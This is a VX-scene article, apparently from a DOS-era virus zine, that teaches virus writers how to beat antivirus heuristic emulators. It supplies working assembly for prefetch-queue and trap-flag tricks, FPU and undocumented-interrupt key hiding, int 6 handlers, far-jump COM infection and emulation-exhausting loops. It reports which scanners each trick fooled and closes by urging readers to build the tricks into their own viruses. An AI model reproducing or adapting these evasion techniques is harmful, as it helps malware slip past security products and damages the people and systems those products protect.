ANTI HEURISTIC TECHNIQUES BLACK JACK Introducion ----------- In the early days of computer virii it was sufficient for AV programs to search for a set of virus patterns. But the number of virii increased more and more rapidly, and so the AV people invented something called heuristics to make our job harder. Heuristic scanners emulate the code of every program they scan in a so-called "virtual machine" and search for virus-like actions. So it should be *theoretically* possible to find every new virus. Theoretically, because of course these code analysers can't emulate the "real" CPU to 100%, and so not every virus gets actually cought. So in my humble opinion, it is the damn duty of us, the VX community, to search for the flaws in these heuristic engines and exploit them for our own goals. What I'm talking of are tricks to fool these engines, to make our newest creations invisible to those evil programs which want to find&kill our babies to. This is in my opinion one of the most interesting fields in virus programming (it's always a great feeling to outsmarten your enemies ;-) ). Here are the results of the research I've done into this topic in the last time. Know your enemies! ------------------ If you want to make your virii anti-heuristic, the first thing you need are heuristic scanners to test your creations with. I recommend you to get as many as them as possible, because every one has different storng points and flaws. I'll give you a short list of scanners I use/test and where to get them: -> Thunderbyte Antivirus (http://www.thunderbyte.com): In the earlier days this was considered one of the best scanners, but nowadays it is considered quite weak by most VXers, at least its "heuristics" (it's actually based on little scanstrings). But on the other hand it comes with a lot of other AV utilities beside the scanner (checksummer, cleaner, memory resident utilities...). A lot of stuff to work around for those of you who are interested in retro structures, but this is a different story... By the way, I would recommend you to get version 7.xx besides the actual one, because this version allows you to make your own scanstrings. Can be quite important if you accidentally infect yourself... -> F-prot (http://www.datafellows.com): Isn't too bad, although there are a lot of better ones. The interesting thing about it is that the last versions had much better heuristics than the current ones. So I recommend you to get yourself somewhere a copy of v2.28 or something like that (I use v2.27), and to test your virus with both versions. Another interesting feature of this scannner is its /PARANOID command line parameter. If you use it, the scanner goes into a highly sensible mode (with a lot of false positives). For that reason it isn't really necessarry to beat even f-prot/paranoid, but if you do so, you know that your anti-heuristic tricks are *really* good. -> AVP (http://www.avp.ch): In my opinion the best heuristic scanner, really hard to fool. I used version 3.0 build 128 -> NOD (http://www.eset.sk): Nearly as good as AVP -> Dr. Web (http://www.dials.ru): Also a very good one. Those russians know how to make good AVs... -> Dr Solomon's (http://www.drsolomon.com): A mid quality scanner from our friends at NAI, but still better than McAfee (*duh*) -> Ikarus Antivirus (http://www.ikarus.at): A product of middle quality, I just use it because of patriotic reasons. THE MAIN IDEA ------------- All my tricks I am going to present to you are based on the same idea: The virus is encrypted, and you try to stop the code emulation before the scanner can decrypt the main virus body, or you hide the decryption key from the scanner. If you haven't worked with encryption yet, the key-hiding tricks may also work if you "encrypt" the registers (for example the function values for int 21h), although I haven't tested this. For example use for opening a file: mov ax, 3D02h-key add ax, key int 21h 1. THE "INVERTED" PREFETCH QUEUE TRICK -------------------------------------- Older Processors, like the 386 or the 486 used something called the prefetch instruction queue (PIQ) to speed up the code execution. The idea behind this is that WHILE the CPU processes one instruction, the following instructions are already read into a CPU-internal buffer. Therefore a change in the code that follows the actual processed instruction has no effect! let's look at an example for this: mov word ptr cs:[offset piq], 20CDh piq: nop nop You should think that the program terminates, because the two nops have been overwritten with an int 20h, but on a 386 or 486 this isn't the case, because the nops are already in the cpu! But on a Pentium/Pentium II the code will actually be overwritten and the program quits. If you want to use this as an anti heuristic trick, you must know that this was a widely used against heuristic scanners in the days of the 386/486. But then the AVs improved and now they emulate the prefetch queue. Isn't that strange? They emulate something that isn't there anymore on modern processors! And this is what we use against them! Let's look at the example above again: on a pentium or a higher cpu the program will, as I already said, terminate, because those processors have no PIQ, but most AVs will think the code goes on with the two nops because of the PIQ. So here's what we'll do: mov word ptr [offset prefetch], 06C7h prefetch: int 20h dw offset decrypt_key dw key the int 20h will be overwritten, and instead there will be the instruction: mov word ptr [decrypt_key], key The AVs will think the program terminates because of the PIQ, but actually the program execution goes on with the setting of the decryption key in our decryption rotine. We only have one problem: this code will only work on Pentiums and upwards. To make it compatible with 486ers and below we'll have to clear the PIQ between the two instructions. Nothing more simple than that! You must also know that all jump instructions (jmp, call, loop, int...) clear the PIQ (quite necessary, if you think of it). But we can't simply place a JMP Short $+2 between the instructions, as it is used normally to clear the PIQ, because this would also be noticed by code emulators. But we can use a special feature of our CPU, the trap flat. If this flag is set, the CPU will call int 1 after every instruction, and remember, an int clears the PIQ. This is normally only used by debuggers, so the int 1 vector points to a simple IRET in the normal case, so we can use that without any problems. But anyhow, it's a good idea to clear the trap flag again afterwards. Here's the complete code that will run on any processor (assumes DS=CS): pushf ;flags on the stack pop ax ;flags from stack into AX or ax, 100000000b ;set trap flag push ax ;put the modified flags in AX back... popf ;into the flag register via the stack mov word ptr [offset prefetch], 06C7h ;modify the following instruction prefetch: ;here gets int1 called => clears PIQ int 20h ;This is never executed dw offset decrypt_key ;where we want to write our key to dw key ;the actual decryption key pushf ;clear the trap flag again with pop ax ;the same method as above. xor ax, 100000000b ;will also fool some debuggers push ax popf mov word ptr [offset prefetch], 20CDh ;restore the int20h (next generations) This trick fooled AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag), but not f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus, on the other hand were fooled by the "normal" PIQ trick (which doesn't run on modern processors, you remember). 2. THE FPU TRICK ---------------- My favourite trick, because it is very simple but nevertheless the most effective one. It fools *ALL* tested scanners!!! The only thing you must know is that heuristic scanners don't emulate floating point instructions. Obviously AVs think that FPU instructions aren't used in virii anyhow. Let's prove they are wrong! Here's what we do: After encryption we convert the crypt key to a floating point number. To decrypt we'll have to convert it back to an integer: ; AFTER ENCRYPTION: mov decrypt_key, key ;save key into integer variable fild decrypt_key ;load integer key into FPU and store fstp decrypt_float_key ;it back as floating point number mov decrypt_key, 0 ;destroy the key (very important!) ; BEFORE DECRYPTION: fld decrypt_float_key ;load the key as floating point number fistp decrypt_key ;into the FPU and store it back as int As I said before, this trick is very easy and extremely effective, but if you use it, please consider that it has "high system requirements": If your virus is run on a machine without a FPU (386, 486SX), it will crash. 3. THE INT 1 TRICK ------------------ As I wrote before, int 1 is called after each instruction by the CPU if the trap flag is set. But of course you can also call interrupt 1 manually with the int command. This is generally assembled to 0CDh/001h. And this is quite strange, since there is a special opcode for int1 (0F1h), although this isn't documented. But "not documented" means also "not emulated by AVs", *grin*. So here's what we'll do: We set an own int 1 handler, which returns the decryption key and call it with the undocumented opcode, and AVs will have no idea what the decryption key is: mov ax, 3501h ;get int vector 1, so we can restore it later int 21h ;not really necessary, but a little bit saver mov int1_segm, es mov int1_offs, bx mov ax, 2501h ;set int vector 1 to our own routine mov dx, offset int1_handler ;we assume DS=CS int 21h db 0F1h ;this will call our int 1 handler, which mov decrypt_key, ax ;returns the decryption key mov ax, 2501h ;restore the original int 1 handler mov dx, cs:int1_offs mov ds, cs:int1_segm int 21h [...] int1_handler: mov ax, key iret Another funny thing you can do with this trick is simulate to quit the program. So here's what you do: [...] db 0F1h ;calls our int 1 handler (see above); mov ax, 4c00h ;quit program int 21h ;but... this code is never reached... ;-) [...] int1_handler: mov bx, sp ;modify return address, so the quit command add word ptr ss:[bx], 5 ;is never executed. iret This is also a very powerful trick. In my tests only f-prot v2.27 /PARANOID detected it. One disadvandace is, though, that it will only work on intel CPUs. On Cyrix or AMD processors, this nice undocumented opcode is not there, so your virus will crash on them. :-( If you want to see it in a full virus, feel free to take a look at my PRŽH! virus. 4. THE INT 6 TRICK ------------------ Interrupt 6 is always called by the CPU if it finds an illegal instruction. We can use this in a way very similar to the int 1 trick: We set an int 6 handler, which returns our decryption key, and then we call it with an invalid instruction. But we have to consider one thing: the return offset in the int 6 handler will point to the invalid opcode, so we'll have to modify the return offset if we don't want to get in an endless loop. mov ax, 3506h ;get int vector 6, so we can restore it later int 21h ;not really necessary, but a little bit saver mov int6_segm, es mov int6_offs, bx mov ax, 2506h ;set int vector 6 to our own routine mov dx, offset int6_handler int 21h dw 0FFFFh ;an invalid opcode, will call our int 6 mov decrypt_key, ax ;handler, which returns the decryption key mov ax, 2506h ;restore the original int 6 handler mov dx, cs:int6_offs mov ds, cs:int6_segm int 21h [...] int6_handler: mov ax, key mov bx, sp add word ptr ss:[bx], 2 ;modify return address - very important! ;2 is the size of our invalid opcode. iret Please note that this won't work in a windows dos-window, since windows gets control first in the case of an invalid opcode and terminates the program with an error message (thanks to Z0MBiE for that tip). So if you want to make your DOS file virii windows compatible, DON'T use this trick!!! In boot sector virii it should work fine, though. 5. INFECT COM FILES WITH A FAR JUMP ----------------------------------- I don't like delta offsets, and so I tried out one day to infect com files with a far jump at the beginning (plus some code to relocate it, of course): mov ax, cs ;Relocate far Jump add [offset com_seg], ax JMP SHORT $+2 ;Clear prefetch queue db 0EAh ;OP-Code far Jump dw offset start ;Offset com_seg dw 0 ;Segment (length of com file in paragraphs) ;pad filesize to even paragraph! It worked perfectly, and to my pleasant surprise I found out that this way of infection prevents AVP and TBSCAN from saying the file is infected. To see it in full context, have a look at my PRŽH!-virus again. 6. INITIAL REGISTER VALUES -------------------------- In most DOS versions the registers carry the same value at the start of a program: AX=BX=0000h (if the first/second command line parameter contain a illegal drive letter, AL/AH are set to 0FFh) CX=00FFh DX=DS=ES=PSP segment address SI=IP DI=SP BP=91Ch/912h depending on DOS/Windows version. If you know that, you can use this values for encryption - many AVs don't emulate these values correctly, since most of them are undocumented. For example I used 91h (BP shr 4) in my tests to encrypt/decrypt the virus body. It fooled TBAV, DrWeb, f-prot v2.27 and Ikarus - well, but not the better ones like AVP and NOD. Of course you can also use other register values than BP, save your encryption key in the stack pointer of the EXE header, for example, then set up the correct stack in the beginning and decrypt using DI. Or you encrypt with not and decrypt with xor cl. Just be creative. But please remember that this is undocumented and not the same in all DOS versions. FreeDOS, for example, sets all general registers to zero in the beginning, so if you use this trick, be prepared that your virus will crash under those enviroments. Also, you'll have to combine this trick with other ones to fool all AVs, since it is not too powerful, as I already stated before. For this reasons, this trick is not one of my favourite ones. But anyhow, thanks go to bfr0vrfl0 for inspiration to that trick. 7. "ENDLESS" LOOPS ------------------ This is a very old trick, and unlike all other tricks presented in this article it wasn't found out by myself. But when I tried it out, I was very surprised to find that it still works so good. It fools Thunderbyte, Dr. Web and Ikarus. The idea is that these heuristic scanners only emulate the first instructions and then stop to speed up scanning. So we put a very long loop in the beginning of our virus, this is the "classic" form: mov cx, 0FFFFh loop_head: jmp short over_it mov ax, 4C00h ;actually this isn't needet, but it's the int 21h ;"classic" implementation of this trick. over_it: loop loop_head You can also use different loop types, or you use, like in Opic's Odessa-B virus, very long decryption loops. FINAL NOTES ----------- All this tricks presented here worked at the date of release of this document. It is of course possible that AVs mend out some flaws and some of these tricks won't work in the future anymore. Anyways, feel free to include this tricks in your own virii! Make them as undetectable as hell! Let's show those stupid AV dickheads how slobby their "protection" is!